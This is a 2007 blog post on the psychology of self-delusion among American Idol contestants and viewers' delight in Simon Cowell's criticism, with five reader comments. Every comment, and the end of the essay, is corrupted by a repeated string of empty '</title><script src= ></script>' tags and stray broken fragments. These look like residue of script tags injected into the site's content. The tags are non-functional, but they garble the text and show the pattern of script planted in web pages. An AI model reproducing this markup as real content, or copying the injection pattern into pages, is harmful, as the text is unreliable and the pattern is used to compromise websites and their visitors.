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So, What's The Psychology Behind American Idol?
by Mark on 1/17/2007 (5)

Can you sing?

I mean really?, or do you just believe that you can sing, and really can't? Do you also think that you look just like Jewel, or maybe Tom Cruise? Do you perceive yourself as a great intellectual leader, or well accepted and loved, no matter what environment you carelessly amble into?

These sublime questions beg an explanation. Just how, and more significantly why, do the worst of the worst American Idol contestants seem utterly oblivious to their obvious lack of talent? In order to understand, one must merely look within.

This twisted sense of self is not limited to vocal ability, to be sure. Many of us entertain an often skewed internal image of how we look, how others perceive us, and what the limitations of our abilities really are. Any given person almost invariably harbors an internal image that is not consistent with the external one that they actually project. Most of us think we are better looking, smarter or more talented than we really are. Why is that? The clockwork mechanism of this grandiose illusion is often rooted in the subconscious need to protect one's ego. In order to survive the relentless grist and tumble of daily life in a society of our peers, such illusions are often necessary to shield our often fragile sense of self-esteem as much as a suit of armor shields a Medieval Knight from raining blows. Such self-deceptive devices are often quite fragile, however, as evidenced by the brutal effect of Simon Cowell's scathing remarks, as these illusions tend to die hard, with great upheaval, and often in overt agony

Sigmund Freud once stated "Rob a man of his subterfuge and he goes mad", that is to say, once our armor of self-illusion has been cracked and exposed to the world by poignant, scathing criticism, madness may ensue. Sometimes hearing the truth can be devastating, but yet we love to hear it said, as long it is levied on others and not ourselves, of course.

Why is that?

The obvious answer is that when Pontius Cowell casts another American Idol contestant to the lions, we applaud with ferocious glee, just as spectators in the Roman Colosseum bellowed in uproarious approval, thumbs down, when a vanquished combatant was tossed to their death. The psychology behind this vulgar impulse, of course, is that at some deep, primordial level, we see it as slaying the twisted sense of self that all of us bottle tightly within, but are too terrified to confront, as most of us deeply and passionately need to believe that our own illusions are quite real, and not illusions at all.t0" sty

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1. by Manji on 3/1/2007 4:52:29 PM
What I want to know is why this is the most popular show in this country? What draws people to it? The sucess/failure and win/lose that everyone goes through??sid=1" </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
2. by Motz on 3/1/2007 4:52:29 PM
The answer is in the article. We love to condemn others simply because we loathe ourselves. It is a process of exorcism </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
3. by Kris on 3/1/2007 4:52:29 PM
I dunno about that Motz... I don't loathe myself. But I don't have any dillusions that I could be the American Idol either. I'll only watch the first few episodes, where they have all the really bad people. It's like a car accident really, it's brutal but some sick part of me makes it so I can't look away. My mom on the other had will watch the whole thing through, cast a few votes, and really get into it. She legitimately likes a number of the contestants and openly roots for them. She was a big Bo Bice fan a few years ago and acctually watched the show not because she wanted someone to crash and burn but because she had made some sort of connection with Bice and wanted to see him win.g </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
4. by Motz on 3/1/2007 4:52:29 PM
Everything I wrote is correct. Deal </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>
5. by Motz on 3/1/2007 4:52:29 PM
If I must elaborate, notice I use the word "most people". My observation is that perhaps one out of five people are fully functional in terms of self-esteem, and you strike me as one of them, That is evidenced by your noatble achievements at such an early age. Most people are not very bright, however, and get frustrated and resentful very easily. It's these people that lash out at anyone they percieve as weak, and at this stage of Am Idol, almost all of the audtioneers are weak. Later on, when the talent gets better, the weak admire the strong. It's all a big power play. All of the world's affairs are based on that fact. We either percieve others to be stronger or weaker than us, and we either respond with loathing or admirationone"></ifra </title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script></title><script src= ></script>

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